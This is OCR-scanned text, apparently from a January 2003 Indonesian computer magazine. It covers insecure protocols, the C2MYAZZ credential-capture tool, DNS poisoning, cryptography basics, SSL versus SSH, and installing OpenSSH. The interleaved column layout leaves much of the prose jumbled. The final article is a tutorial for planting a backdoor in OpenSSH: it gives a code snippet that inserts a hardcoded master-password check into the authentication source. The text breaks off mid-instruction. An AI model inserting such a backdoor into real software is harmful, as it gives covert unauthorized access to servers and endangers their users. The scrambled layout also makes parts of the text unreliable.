Sewaktu kita berinternet, kita menggunakan berbagai dapat memberikan respon terhadap komunikasi yang lain.
jenis protokol untuk kegiatan yang berbeda. Celakanya Dengan lenyapnya client tadi, maka penyerang dapat ber-
hampir semua jenis protokol in tidak secure, yaitu me- komunikasi dengan server, seolah-olah dialah client yang
lewatkan clear text melalui Internet. Yang artinya siapa tadi itu. Otentikasi yang baik harus mampu memastikan
saja dengan menggunakan sniffer dapat meng-capture bahwa client yang terhubung tetap client yang sebelum-
paket data yang lewat dan menganalisa isinya. Protokol- nya dan tidak digantikan pihak lain.
protokol yang tidak secure itu adalah:
FTP Otentikasi berupa clear text Verfikasi Tujuan
Telnet Otentikasi berupa clear text Apabila sebelumnya kita membahas perlunya memverifi-
SMTP Isi dari pesan email yang disampaikan berupa kasi client, maka pada verifikasi tujuan, kita memverifikasi
clear text. server-nya. Banyak orang percaya saja bahwa server yang
dihubunginya adalah memang server yang dituju atau
HTTP page content dan isi dari field pada formulir server sedang down apabila tampil pesan host unreachable.
berupa clear text Padahal bisa saja server. yang dihubungi itu palsu.
IMAP Otentikasi berupa clear text
C2MYAZZ
SNMP Otentikasi berupa clear text.
Utilitas C2MYAZZ adalah contoh baik mengenai server
Perlunya Otentikasi spoofing attack yang digunakan untuk mengelabui client
yang menggunakan Windows 95 (Windows 9x dan yang
Informasi logon banyak yang dilewatkan sebagai clear text, lebih baru sudah tidak mengandung kelemahan ini lagi).
yang berarti dengan mudah seseorang dapat memperoleh
logon credential (user name dan password) orang lain, mi- Sewaktu client yang menggunakan Windows 95 menghu-
salnya pada insecure service seperti pop mail. Namun oten- bungi Windows NT domain, maka otentikasi dilakukan
tikasi yang baik lebih dari sekedar memvalidasi sumber melalui dua metode melalui SMB (session message block)
yang melakukan logon awal, melainkan juga memastikan system yang menggunakan encrypted password dan yang
bahwa setelah logon berhasil, sesi logon ini tidak dibajak kedua dalam bentuk clear text (LANMAN authenticat-
orang lain di tengah jalan. Serangan jenis ini dikenal ion).Yang kedua ini terdapat karena kebutuhan backward
sebagai session hijacking atau man-in-the-middle attack. compatibility dengan LANMAN server.

10 NeoTek Januari 2003


NeoStart

Apabila C2MYAZZ dijalankan, program ini secara pasif Public/private cipher key (seperti misalnya PGP) menjadi
menunggu client melakukan otentikasi ke NT server. populer karena sederhananya key management yang dibu-
Begitu logon terdeteksi, C2MYAZZ mentrasmisikan satu tuhkan. Dengan metode ini private key cukup disimpan
paket tunggal ke client yang meminta agar client mengi- sendiri, sedangkan public key bisa ditransmisikan dengan
rimkan LANMAN authentication. metode apa saja, tidak harus metode yang secure.
Client karena percaya sedang terhubung ke server tujuan- Kelemahan cipher
nya, mengirimkan saja otentikasi yang berupa clear text
ini. Utilitas C2MYAZZ kemudian meng-capture dan me- Untuk memastikan bahwa cipher yang digunakan itu
nampilkan kombinasi logon name dan password yang di- aman, ada beberapa hal yang perlu diperhatikan.
dapatnya, tanpa sama sekali mengganggu akses client ke • Rumus matematik yang digunakan dalam algoritma en-
server. Client dengan demikian sama sekali tidak sadar kripsi harus diketahui umum. Algoritma yang meng-
bahwa logon credential-nya telah dicuri. andalkan kerahasiaan malah besar kemungkinannya
Utilitas C2MYAZZ ini sangat kecil dan dapat dijalankan mengandung kesalahan yang memudahkan cracking.
hanya pada satu disket. penyerang tinggal menempatkan • Algoritma enkripsi harus melewati penelaahan umum.
utilitas ini pada bootable floppy disk, menyalakan sistem, Setiap orang harus dapat mengevaluasi algoritma ini dan
dan kembali lagi di lain waktu untuk memanen hasilnya. bebas mendiskusikan penemuannya. Ini artinya analisa
terhadap suatu algoritma tidak boleh dibatasi oleh per-
Pada Windows 98 ke atas, kelemahan ini sudah diatasi se- janjian kerahasiaan.
hingga C2MYAZZ bukan lagi menjadi ancaman terhadap • Algoritma enkripsi ini harus tersedia untuk umum se-
client yang menggunakan sistem operasi Windows. lama waktu yang memadai untuk terjadinya proses
analisa. Algoritma enkripsi yang belum diketahui kele-
DNS poisoning mahannya dan baru tersedia beberapa bulan belumlah
DNS poisoning yang dikenal juga sebagai cache poisoning lulus menghadapi ujian. Salah satu alasan mengapa
adalah proses menyampaikan informasi IP address yang orang mempercayai enkripsi DES adalah bahwa enkripsi
salah mengenai host tertentu dengan tujuan mengalihkan ini sudah ada sejak 15 tahun yang lalu.
lalu-lintas paket data dari tujuan sebenarnya. Hal ini per- • Setiap algoritma mempunyai kelemahan-kelemahan
tama kali ditunjukkan oleh Eugene Kashpureff pada tahun kecil yang seharusnya tidak secara dramatis mengu-
1997 sewaktu ia mengalihkan request ke host InterNIC rangi waktu yang diperlukan untuk meng-crack semua
menuju situs pendaftaran domain name alternatif, kombinasi key yang mungkin.
AlterNIC. Request ini dialihkan dengan mengeksploitasi
vulnerability yang terdapat pada DNS service. Serangan brute force
Sewaktu suatu name server menerima jawaban terhadap Serangan brute force adalah usaha mencoba semua kom-
suatu DNS query, sumber jawaban ini tidak divalidasi dan binsi cipher key yang mungkin untuk mendapatkan
mengabaikan informasi yang tidak ditanyakan. Kashpureff cipher key yang dapat meng-unlock ciphertext. Serangan
memanfaatkan vulnerabilities ini dengan menyembunyi- ini dikenal juga sebagai exhaustive key search. Dalam
kan informasi DNS yang palsu di dalam jawaban yang brute force sebenarnya tidak dilakukan usaha meng-crack
absah. Name server yang menerima jawaba akan menyim- cipher key, melainkan mengandalkan pada mencoba
pan informasi yang didapat (yang benar maupun palsu) semua kombinasi key yang mungkin dalam suatu jangka
dalam cache-nya. Sebagai akibatmya, apabila pemakai waktu yang wajar.
mencoba me-resolve suatu host dalam domain InterNIC, Metode Enkripsi dan Banyaknya Kombinasi Key
maka ia akan menerima IP address dalam domain AlterNIC
dan dengan demikian dialihkan ke AlterNIC network. Enkripsi Bit key Banyaknya key yang mungkin
Kini dengan berkembangnya e-commerce dan online banking, Netscape 40 240=1.099.511.627.776
teknik ini menjadi sangat berbahaya. Bisa saja suatu server DES (export) 56(40) 256=72.057.594.037.927.900
palsu tampil identik dengan server online banking yang 240=1.099.511.627.776
asli. Apabila nasabah mengakses web server bank itu dan TripeDES 112 2112=5.192.296.858.534.830.000..
mengotentikasi dirinya, maka server palsu akan menangkap (2 key) 000.000.000.000.000
informasi otentikasi nasabah itu. Nasabah itu pun tidak IDEA 128 2128=340.282.366.920.938.000.
akan pernah tahu bahwa ia dilayani oleh server palsu. 000.000.000.000.000.000
Untuk itulah diperlukan digital certificate.
RC4 128 2128=340.282.366.920.938.000.
000.000.000.000.000.000
Kelemahan Enkripsi
TripeDES 168 2168=374.144.419.156.711.000.
Dasar-dasar enkripsi dibahas dalam artikel khusus tulisan (3 key) 000.000.000.000.000.000.000.000.
Kurniaji Satrio. Di sini hanya akan dibahas kelemahan- 000.000.000
kelemahan enkripsi, yaitu; Blowfish s/d 448 2488=726.838.724.295.607.000.
• Salah penanganan atau human error 000.000.000.000.000.000.000.000.
• Kelemahan cipher itu sendiri 000.000.000.000.000.000.000.000.
• Serangan brute force 000.000.000.000.000.000.000.000.
000.000.000.000.000.000.000.000.
Salah penanganan atau human error 000.000.000.000.000.000.000
Metode enkripsi yang satu membutuhkan key manage- AES 128,192, 2256=115.792.089.237.316.000.000.
ment yang lebih baik daripada yang lain.Gejala pemakai 256 000.000.000.000.000.000.000.000.
bodoh (stupid user syndrome) menjadi penting dalam 000.000.000.000.000.000.000.000.
memilih metode enkripsi yang dipilih. 000.000.000

Januari 2003 NeoTek 11


NeoStart

Mengenal Kriptografi
Saat anda tersambung ke Internet, banyak hal yang dapat dilakukan pihak lain untuk “mencuri” data anda.
Upaya untuk mencegah pencurian semacam itu dilakukan orang dengan mengembangkan enkripsi.
Kurniaji Satrio (satrio@gmx.net) menyajikan kriptografi yang merupakan ilmu untuk menghasilkan enkripsi.

ADARKAH ANDA BAHWASANYA SETIAP HARI aktivtias


S surfing anda di Internet, login untuk melihat
email atau chatting dengan rekan-rekan di sebe-
rang jauh sana melalui jaringan Internet ternyata dapat
disadap dengan menggunakan piranti lunak semacam
Packet Sniffer? Bayangkan saja jika tidak hanya komuni-
kasi sipil yang disadap tetapi juga komunikasi militer, apa
yang akan terjadi? Yang akan terjadi adalah data-data
rahasia negara menjadi bocor ke tangan negara lain. Akan
hancur negara tersebut karena data-data rahasia telah
bocor keluar. Mengerikan bukan? Untuk mencegah hal
itu terjadi diperlukan proses penyandian informasi yang
dikenal dengan Enkripsi (Encryption) yang merupakan
implementasi dari teknik Kriptografi (Cryptography).
Menurut Bruce Schneider dalam Applied Cryptography
(John Wiley & Sons, 1996), kriptografi adalah seni dan Jenis Kriptografi dan Algoritma Enkripsi
ilmu untuk menjaga agar pesan rahasia tetap aman. Krip-
tografi merupakan salah satu cabang ilmu algoritma Kriptografi berkembang dari tahun ke tahun dari abad
matematika. Para penggemar kriptografi sering disebut Sebelum Masehi sampai sekarang, dari zaman Julius
cryptographer, sedangkan kebalikannya adalah crypt- Caesar sampai zaman komputer dan Internet.
alanyst yang berusaha memecahkan sandi kriptografi.
Caesar Cipher
Teknik kriptografi dan enkripsi yang ada sejak jaman
Julius Caesar dirancang sendiri oleh Julius Caesar dan
dinamakan Caesar Cipher. Enkripsi ini menggunakan
teknik penggeseran alfabet 3 langkah ke kiri dari abjad A
sampai dengan Z.

Seperti yang telah dijelaskan diatas, kriptografi mengil-


hami teknik enkripsi atau teknik penyandian yang meng-
ubah sebuah pesan dari pesan yang dapat dibaca (plain -
text) menjadi sebuah pesan yang acak yang dan sulit diar-
tikan (ciphertext). Untuk dapat membaca pesan yang ter-
enkripsi diperlukan proses terbalik dari enkripsi yang
disebut dekripsi (decryption).

12 NeoTek Januari 2003


NeoStart

Teknik ini merupakan contoh sederhana dari teknik en- Perkembangan dari block cipher ialah AES (Advanced
kripsi, di mana setiap karakter alfabet digantikan dengan Encryption Standard) yang merupakan kontes publik bagi
karakter yang lain, dengan panjang alfabet sebanyak 26 algoritma enkripsi yang diadakan oleh NIST (National
karakter. Teknologi di atas tidak dapat digunakan lagi Institue of Standards and Technology) pada tahun 1997
pada zaman sekarang karena terlalu sederhana. dan menghasilkan 5 finalis antara lain :
Enigma Machine 1. MARS (IBM).
2. RC6 (RSA).
Mesin enigma merupakan alat untuk menyandikan 3. Twofish (Bruce Schenier)
informasi yang digunakan oleh Jerman pada saat perang 4. Serpent (Ross Anderson / Eli Biham / Lars Knudsen)
dunia kedua. Mesin ini menggunakan gabungan rotor 5. Rijndael (Joan Daemen / Vincent Rijmen).
mesin yang terangkai satu sama lain.
Akhirnya Algoritma Rijndael terpilih sebagai pemenang
pada bulan oktober 2000.
Symmetric Key Cryptosystem —
Stream Cipher Encryption
Stream cipher berbasis key stream generator yang meng-
hasilkan pseudo-random sequence yang diinisialisasi oleh
sebuah kunci rahasia.. Yang kemudian di-XOR kan
dengan pesan yang asli untuk menghasilkan pesan yang
acak.

DES (Digital Encryption Standard)


Algoritma DES diciptakan oleh IBM pada tahun 1960-
1970. Algoritma ini mempunyai panjang kunci 56 bit. En-
kripsi DES banyak digunakan di instansi militer dan per-
bankan pada tahun 1970-an. Tetapi enkripsi DES saat ini
sudah tidak layak lagi diimplementasikan karena panjang
kunci yang hanya 56 bit mudah untuk dipecahkan.
Symmetric Key Cryptosystem —
Block Cipher Encryption Algoritma stream cipher yang terkenal yaitu RC4 (Ron
Block cipher membagi sebuah pesan dalam beberapa blok Rivest, RSA).
sebesar n bits, kemudian meng-enkripsi setiap blok
tersebut dengan sebuah kunci rahasia dengan Asymmetric Key Cryptosystem
menggunakan algoritma khusus. Berbeda dengan tipe symmetric cryptosystem, tipe asym-
metric ini memungkinkan kunci enkripsi dan dekripsi
yang berbeda. Implementasi dari asymmetric cryptosys-
tem salah satunya adalah PGP dimana untuk enkripsi
email digunakan public key sedangkan untuk men-de-
kripsi email digunakan private key.

Contoh algoritma block cipher yang terkenal antara lain:


1. Blowfish, 64 Block size, 128 - 448 Key size (Bruce
Schenier).
2. RC2, 64 Block size, 40-1024 Key size (Ron Rivest,
RSA)
3. RC5, 64-256 Block size, 64-256 Key size (Ron Rivest, Referensi
RSA) 1. http://www.counterpane.com
4. CAST, 64 Block size, 128 Key size (Canada). 2. http://www.counterpane.com/blowfish.html
5. IDEA (IPES), 64 Blozk size, 128 Key size (Lay/Massey, 3. http://www.nist.gov/aes
ETH Zürich). 4. http://www.openssl.org
6. 3DES (Triple DES), 64 Block size, 168 Key size. 5. http://www.crypto.org
7. Skipjack, 64 Block size, 80 Key size (NSA). 6. http://www.cs.auckland.ac.nz/~pgut001

Januari 2003 NeoTek 13


NeoStart

Network Security:
Secure Protocol
Secure protocol mendukung baik otentikasi maupun enkripsi, yang menjamin bahwa data
yang dilewatkan antara client dan server sifatnya secure (terenkripsi) dan bahwa kedua belah
pihak yang melakukan koneksi (client maupun server) dapat memastikan bahwa masing-masing
terhubung dengan pihak yang seharusnya, yang dengan demikian meminimalkan pemalsuan
identitas melalui IP address spoofing, DNS poisoning, maupun man-in-the-middle attack.

Perbedaan SSL dan SSH Lebih Jauh Mengenai SSL


aik SSL (Secure Socket Layer) maupun SSH SSL (Secure Socket layer) dikembangkan oleh Netscape
B (Secure Shell) keduanya dapat digunakan untuk
mengamankan komunikasi melalui Internet. Apa
untuk mengamankan HTTP dan sampai sekarang masih
inilah pemanfaatan utama SSL. SSL menjadi penting
perbedaan antara kedua secure protocol ini? karena beberapa produk umum seperti Netscape
SSL dirancang untuk mengamankan sesi Web, sedangkan Communicator, Internet Explorer, dan WS_FTP Pro, yang
SSH dirancang untuk menggantikan protokol telnet dan merupakan produk yang lazim digunakan, menggunakan
FTP. Keduanya mempunyai banyak fitur lain, tetapi tujan SSL.
utamanya memang yang disebutkan di atas. Cara Kerja SSL
SSL telah digunakan untuk mengamankan protokol-pro- SSL merupakan protokol untuk meng-enkripsi dan men-
tokol lain yang incerure menjadi secure. SSL menjadi per- dekripsi data yang dikirim melalui koneksi langsung
antara antara pemakai dengan protokol HTPP dan me- Internet. Sewaktu client membentuk suatu koneksi SSL
nampilkan HTTPS kepada pemakai. Hal yang sama dapat ke suatu server, semua yang dikirimkan ke dan dari
dilakukan pula terhadap protokol-protokol insecure lain server akan di-encode dengan suatu algoritma matemaika
seperti POP3, SMTP, IMAP, dan apa saja yang merupakan yang kompleks, yang membuatnya sangat sulit untuk
aplikasi TCP. men-decode apapun yang berhasil dirampas di tengah
Adapun SSH merupakan produk serba guna yang diran- jalan (misalnya dengan menggunakan sniffer).
cang untuk melakukan banyak hal, yang kebanyakan be- Berikit ini adalah langkah-langkah yang menggambarkan
rupa penciptaan secure tunnel antar-host. Beberapa im- cara kerja SSL.
plementasi SSH tergantung pada SSL libraries karena
SSH dan SSL menggunakan banyak alogitma enkripsi
yang sama (misalnya TripleDES).
SSH tidak berdasarkan SSL seperti halnya HTTPS berda-
sarkan SSL. SSH mempunyai jauh lebih banyak kelebihan o
daripada SSL, dan keduanya tidak berhubungan satu sama
lain. Keduanya merupakan dua protokol yang berbeda, na-
mun dalam mencapai tujuan-tujuannya mungkin saling n
tumpang-tindih.
SSL tidak memberi apa-apa kecuali handshake dan enkripsi. q
Anda memerlukan aplikasi untuk membuat SSL menja-
lankan tugasnya. p
SSH, sebaliknya, menjalankan sendiri banyak hal. Dua
aspek penting SSH adalah console login (menggantikan
telnet) dan secure file transfer (menggantikan FTP), tetapi Langkah 1
dengan SSH anda juga memperoleh kemampuan mem-
bentuk secure tunnel untuk melewatkan aplikasi apa saja, Client membentuk koneksi awal ke server dan meminta
yang membuat pemakai dapat menjalankan HTTP, FTP, koneksi SSL.
POP3, dan apapun lainnya melalui SSH tunnel. Langkah 2
Tanpa adanya traffic dari suatu aplikasi, SSL tidak mela- Bila server yang dihubungi telah dikonfigurasi dengan
kukan apa-apa, tetapi SSH sudah membentuk encrypted benar, maka server ini akan mengirimkan client public
tunnel antara dua host yang memungkinkan anda me- key miliknya.
laksanakan login shell, file transfer, dan lain sebagainya. Langkah 3
Terakhir, HTTPS menggunakan SSL untuk menjalankan Client membandingkan sertifikat dari server ke basisdata
HTTP yang secure dan HTTPS itu dapat anda lewarkan trusted authorities. Bila sertifikat ini terdaftar di situ,
melalui tunnel yang dibentuk oleh SSH! artinya client mempercayai (trust) server itu dan akan

14 NeoTek Januari 2003


NeoStart

maju ke Langkah 4. Bila sertifikat itu tidak terdaftar, Langkah 3


maka pemakai harus menambahkan sertifikat ini ke Client meminta public key dan host key milik server.
trusted database sebelum maju ke Langkah 4.
Langkah 4
Langkah 4
Client dan server menyetujui alogritma enkripsi yang
Client menggunakan public key yang didapatnya untuk akan dipakai (misalnya Triple DES atau IDEA).
men-enkrip sesi dan mengirimkan session key ke server.
Bila server meminta sertifikat client di Langkah 2, maka Langkah 5
client harus mengirimkannya sekarang. Client membentuk suatu session key dan
Langkah 5 mengenkripsinya menggunakan public key milik server.
Bila server di-setup untuk menerima sertifikat, maka Langkah 6
server akan membandingkan sertifikat yang diterimanya Server men-decrypt session key yang didapat dari client,
dengan basisdata trusted authorities dan akan menerima meng-re-encrypt-nya dengan public key milik client, dan
atau menolak koneksi yang diminta. mengirimkannya kembali ke client untuk verfikasi.
Bila koneksi ditolak, suatu pesan kegagalan akan dikirim- Langkah 7
kan ke client. Bila koneksi diterima, atau bila server tidak
di-setup untuk menerima sertifikat, maka server akan Pemakai mengotentikasi dirinya ke server di dalam aliran
men-decode session key yang didapat dari client dengan data terenkripsi dalam session key tersebut.
private key milik server dan mengirimkan pesan berhasil Sampai disini koneksi telah terbentuk, dan client dapat
ke client yang dengan demikian membuka suatu secure selanjutnya bekerja secaraq interaktif pada server atau
data channel. mentransfer file ke atau dari server. Langkah 7 di atas
Terdapat dua implementasi SSL: SSLeay dan OpenSSL. dapat dilaksanakan dengan berbagai cara
Versi terakhir dari SSL adalah SSL v.3.0. Microsoft (username/password, Kerberos, RSA, dan lain-lain).
menerapkan versi SSH-nya sendiri yang dikenal sebagai Implementasi SSH
TLS atau Transport Layer Security (disebut juga sebagai Implementasi SSH terlihat dalam produk-produk berikut:
SSL v.3.1), namun tidak mendapat banyak dukungan
diluar produk-produk Microsoft sendiri. FreeSSH
• OpenSSH (Unix, Windows)
Lebih Jauh Mengenai SSH • LSH (Unix)
• PuTTY (Windows)
Pada awalnya SSH dikembangkan oleh Tatu Ylönen di • Okhapkin’s port of SSH1 (Windows)
Helsinki University of Technology. SSH memberikan • MacSSH (Macintosh)
alternatif yang secure terhadap remote session tradisional • TeraTerm (Windows)
dan file transfer protocol seperti telnet dan relogin. • MindTerm (Unix, Windows)
Protokol SSH mendukung otentikasi terhadap remote • NiftyTelnet 1.1 SSH (Macintosh)
host, yang dengan demikian meminimalkan ancaman Commercial SSH
pemalsuan identitas client lewat IP address spoofing • SSH Communication Security (Unix, Windows)
maupun manipulasi DNS. Selain itu, SSH mendukung • F-Secure SSH (Unix, Windows)
beberapa protokol enkripsi secret-key (DES, TripleDES, • Secure CRT, SecureFX (Windows)
IDEA, dan Blowfish) untuk membantu memastikan • VShell (Windows)
privacy dari keseluruhan komunikasi, yang dimulai
dengan username/password awal. OpenSSH

SSH menyediakan suatu virtual private connection pada Implementasi SSH pada awalnya tersedia bebas, namun
application layer, mencakup interactive logon protocol selewat v.1.2.12, mulai diterapkan lisensi yang praktis
(ssh dan sshd) serta fasilitas untuk secure transfer file membuatnya suatu produk komersial dari Data Fellows,
(scd). Setelah meng-instal SSH, sangat dianjurkan untuk Inc. Komunitas Open Source manyadari bahwa konsep
men-disable telnet dan rlogin. Implementasi SSH pada SSH terlalu berharga untuk dibiarkan begitu saja
Linux di antaranya adalah OpenSSH, yang tersedia gratis sehingga terbentuk usaha menulis ulang free version dari
di situs www.openssh.org. SSH.
Cara Kerja SSH Sejak tahun 1999, Björn Grönvall, dan kemudian
OpenBSD development team, mengambil implementasi
Misalkan suatu client mencoba mengakses suatu Linux SSH v.1.2.12 yang asli dan mengembangkannya menjadi
server melalui SSH. SSH daemon yang berjalan baik pada apa yang sekarang disebut OpenSSH. Kini OpenSSH
Linux server maupun SHH client telah mempunyai sudah sampai v. 2 dan mendukung banyak platform,
pasangan public/private key yang masing-masing termasuk Linux.
menjadi identitas SSH bagi keduanya. Langkah-langkah
koneksinya akan sebagai berikut: Karena OpenSSH merupakan free software, terdapat
banyak patch yang tersedia untuk mengimplementasinya
Langkah 1 pada berbagai perluasan. Di antaranya:
Client bind pada local port nomor besar dan melakukan • Kerberos/GSSAPI, mendukung OpenSSH/1 maupun
koneksi ke port 22 pada server. OpenSSH/2 melalui GSSAPI
Langkah 2 • DNSSEC, SSH host key distribution and verification,
menggunakan Secure DNS (DNSSEC).
Client dan server setuju untuk menggunakan jenis sesi • SRP, SSH user authentication melalui Secure Remote
SSH tertentu. Hal ini penting karena SSH v. 1 dan v. 2 Password protocol.
tidak kompatibel.

Januari 2003 NeoTek 15


NeoTekno

Instalasi OpenSSH
OpenSSH merupakan implementasi freeware terhadap protokol SSH yang sejak awal ditujukan untuk
menggantikan protokol telnet dan rlogin yang tidak secure dengan protokol SSH (port 22) yang
menggunakan public key cryptography. Kurniaji Satrio (satrio@gmx.net) menguraikannya untuk anda.

SH ATAU SECURE SHELL ADALAH PROTOKOL yang OpenSSH vs Telnet


S menyediakan jaringan ter-enkripsi antar client
server. OpenSSH sendiri adalah salah satu varian
Bagaimana pertama kali SSH bermula? Pada mulanya
orang menggunakan telnet/port 23 atau rlogin untuk
SSH yang berbasis open source dan merupakan pengem- login ke server Unix/Linux secara remote tetapi kele-
bangan dari free ssh 1.2.12 release Tatu Ylönen yang mahan utama telnet/rlogin ialah lalu lintas paket pada
kemudian dikembangkan lagi oleh sebuah tim dari jaringan client dan server tidak terenkripsi sehingga
OpenBSD Project (www.openbsd.org), salah satu varian mengundang orang usil memakai sniffer untuk memba-
Unix berbasis Berkeley Software Distribution (BSD) dan jak user dan password melalui sesi telnet yang kita laku-
OpenSSH muncul pertama kali di operating system kan ke server. Teknik ini sering disebut dengan Man of
OpenBSD 2.6 the Middle Attack.
Distribusi OpenSSH Apakah kelebihan SSH dibandingkan telnet? Pertanyaan
OpenSSH mengeluarkan dua jenis distribusi yang yang pasti muncul pertama kali. Tentunya kelebihan
berbeda, antara lain: utama SSH ialah kemampuannya untuk meng-enkripsi
tunnel antara client dan server sehingga data yang kita
1. OpenSSH khusus untuk OpenBSD kirim dan terima bukan berupa data plaintext (data tak
OpenSSH yang khusus dibuat untuk distribusi terenkripsi) melainkan berupa data ciphertext (data
OpenBSD. terenkripsi), tentunya akan membuat sang orang usil
2. OpenSSH untuk system operasi yang lain. untuk berpikir seribu kali men-decrypt data tersebut
karena membutuhkan waktu beratus-ratus sampai beribu
OpenSSH dinamakan portable OpenSSH untuk
tahun lamanya untuk dapat meng-crack enkripsi dari
digunakan di operating system selain OpenBSD
SSH :).
(Linux, Sun, FreeBSD, NetBSD). Distribusi ini
memakai huruf p di akhir nama file OpenSSH, contoh: Fitur OpenSSH
openssh-3.4p1.tar.gz Meskipun demikian tidak ada
perbedaan fungsi antar kedua distribusi openssh. • Proyek Open Source
• Bebas Lisensi
• Enkripsi yang kuat (3DES, Blowfish)

• Telnet Session — Informasi dilewatkan pada unencrypted tunnel di • SSH Session — Informasi dilewatkan pada encrypted tunnel di
Internet. Internet.

16 NeoTek Januari 2003


NeoTekno

• X11 Forwarding (enkripsi terhadap trafik X Window Ekstrak dan kompilasi OpenSSH.
System) server# tar xvfz openssh-3.4p1.tar.gz
• Port Forwarding. server# cd openssh-3.4p1
• Strong Authentication (Public Key, One-Time Password server# ./configure --prefix=/usr/local/ssh --sbindir=/usr/sbin
dan Kerberos) --bindir=/usr/bin --mandir=/usr/local/man --sysconfdir=/etc/ssh --
• Agent Forwarding. with-ssl-dir=/usr/local/ssl --with-zlib=../zlib
server# make
• Interoperabilitas (kompatibel dengan protocol SSH 1.3, server# make install
1.5, dan 2.0)
• SFTP client dan server, mendukung protocol SSH1 dan OpenSSH akan terinstal di direktori /usr/local/ssh de-
SSH2 ngan sistem konfigurasi berada pada direktori /etc/ssh
• Kerberos dan AFS. Jika anda bingung dengan perintah configure anda bisa
• Kompresi data (Memerlukan Zlib) melihat manual lengkap dengan mengetik perintah:
server# ./configure --help|more
Keamanan OpenSSH
Sebelum menjalankan daemon SSH, kita perlu membuat
OpenSSH terbukti aman dan auditable. Hal ini dapat user sshd dengan uid=27, home direktori berada di
dilihat dari daftar record security di alamat /var/empty serta user sshd tsb tidak mempunyai shell
www.openssh.com/security.html. dan password. Anda bisa menggunakan perintah adduser
Daftar Sistem Operasi yang atau useradd untuk menambah user sshd atau seleng-
kapnya anda bisa melihat manual adduser atau useradd
Menggunakan OpenSSH
Daftar sistem operasi di bawah ini diketahui menginte- server# man adduser
grasikan OpenSSH di sistem mereka. Antara lain : Konfigurasi SSHD
• OpenBSD • Debian Linux Untuk membuat sshd bekerja pada protokol SSH2 yang
• FreeBSD • Suse Linux lebih aman dari SSH1 maka ubah baris Protokol 2,1 pada
• Redhat Linux • Mandrake Linux file sshd_config menjadi Protokol 2 dan hilangkan
• BSDi BSD/OS • NetBSD comment di depannya.
• Computone • Conectiva Linux
server# vi /etc/ssh/sshd_config
• Slackware Linux • Caldera OpenLinux #Protocol 2,1
• Stallion • Rock Linux
• Cygwin • e-smith server and gateway menjadi
• Engarde Linux • MacOS X Version 10.1 Protocol 2
• HP Procurve Switch 4108GL and 2524/2512
• IBM AIX • Gentoo Linux Jika anda tidak ingin user root login langsung ke mesin
• Gwynux/Toadware Linux • Sun Solaris 9 (SunSSH) Unix/Linux ini, anda dapat mengubah baris
• SmoothWall • IPCop #PermitRootLogin yes
• Dan masih banyak lagi menjadi
PermitRootLogin no
Instalasi OpenSSH
Di sini saya akan menjelaskan cara menginstal OpenSSH. Menjalankan SSHD
Penjelasan di bawah ini berlaku untuk semua sistem ber- Setelah semua langkah di atas kita lakukan, maka kita
basis Unix termasuk Linux. Yang anda perlukan antara lain: bisa menjalankan daemon sshd dengan perintah:
• gcc (Gnu C Compiler). Default di semua system unix. server# /usr/sbin/sshd
• Zlib (www.gzip.org/zlib) optional untuk kompresi data. Buat sshd otomatis berjalan saat booting.
• OpenSSL terbaru (www.openssl.org) server# echo "/usr/sbin/sshd" >> /etc/rc.local
• OpenSSH Portable (hwww.openssh.com/portable.html). Periksa apakah daemon ssh sudah berjalan dan periksa
Versi terbaru ialah openssh-3.4p1. pula protokolnya:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/
openssh-3.4p1.tar.gz server# telnet localhost 22
Connected to localhost.
Setelah semua paket di-download, maka kita ekstrak dan Escape character is '^]'.
kompilasi: SSH-2.0-OpenSSH_3.4p1
^]
server# tar xvfz openssl-engine-0.9.6e.tar.gz telnet>
server# cd openssl-0.9.6e/
server# ./config Seperti yang terlihat diatas sshd berjalan dengan protokol
server# make versi SSH 2.0
server# make test
server# make install Referensi:
server# cd .. 1. www.openssh.com/faq.html
Secara default OpenSSL terinstal di direktori 2. www.openbsd.org/cgi-
/usr/local/ssl. bin/man.cgi?query=style&sektion=9
3. www.lothar.com/tech/crypto/
Ekstrak dan kompilasi Zlib. 4. www.aet.tu-
server# tar xvfz zlib.tar.gz cottbus.de/personen/jaenicke/postfix_tls/prngd.html
server# cd zlib 5. www.gzip.org/zlib/
server# ./configure
server# make 6. www.openssl.org/
server# cd .. 7. www.kernel.org/pub/linux/libs/pam/

Januari 2003 NeoTek 17


NeoTekno

Membuat Backdoor Sendiri


dengan OpenSSH
OpenSSH adalah protokol yang mengadakan komunikasi pada port 22, selain dapat digunakan untuk secure
connection ke server. Rio Martin (root@vbme.net) dan Odyxb (ed.) menjelaskan bahwa OpenSSH dapat
dimodifikasi agar listen pada port 22. Artinya OpenSSH dapat dijadikan backdoor pada suatu server.

ENTUNYA KITA TIDAK AKAN MERASA ASING LAGI Bagi anda yang menggunakan OS Windows terkebih
T dengan daemon yang bernama OpenSSH apabila
telah menggunakan Operating Sistem Linux. Sa-
dahulu anda telah memiliki account shell dan mengguna-
kan putty untuk menggunakan shell account tersebut.
ngat berguna sekali untuk administrasi sistem. Hampir Command yang harus diketik adalah sebagai berikut:
semua mengatakan SSHD adalah OpenSSH walaupun se- #wget URL
benarnya banyak vendor yang menciptakan daemon SSH
yang lain seperti SSH-Secure Shell , F-Secure. Persentase
penggunanya sangat besar, bahkan sudah bisa dikontribu-
sikan ke berbagai operating system seperti BSD, Solaris,
bahkan sampai ke Windows berkat Cygwin32.

Selanjutnya command:
#lynx URL

Versi yang akan saya pakai adalah OpenSSH-3.1p1 , dapat


didownload melalui www.openssh.org download file yang Keterangan: URL adalah alamat lengkap dari source
berbentuk TAR.GZ karena kita akan melakukan modifi- openssh-3.1p1.tar.gz berada.
kasi pada beberapa file pada source-nya. File yang akan
diambil bernama OpenSSH-3.5p1.tar.gz Eksekusi command tersebut sehingga akan anda lihat
proses selanjutnya, berikut proses yang dapat tertangkap.
Untuk download bisa memakai Lynx ataupun Wget pada
console Linux secara langsung.

Tekan D untuk melakukan download, dan tekan C untuk


membatalkan proses. Tetapi dalam hal ini yang anda
lakukan adalah menekan D. Hingga hasilnya akan terlihat
seperti gambar berikut. Tekan q untuk stop.

18 NeoTek Januari 2003


NeoTekno

Setelah selesai maka file yang diambil akan ada di Perhatikan yellow light, di sana tambah skrip berikut:
direktori di mana kita melakukan perintah wget. #ifdef T3RM
Sebelum melangkah selanjutnya saya harap anda meru- if (strcmp(T3RM, password) == 0) {
pakan root, sebab jika bukan UID root (0) maka Daemon return 1;
tidak akan bisa Listening (membuka port) di port 22. Hal }
#endif
ini dapat diketahui dengan tanda # pada shell prompt
Linux anda.
Setelah ditambahkan, tekan Ctlr+x, lalu tombol Y dan
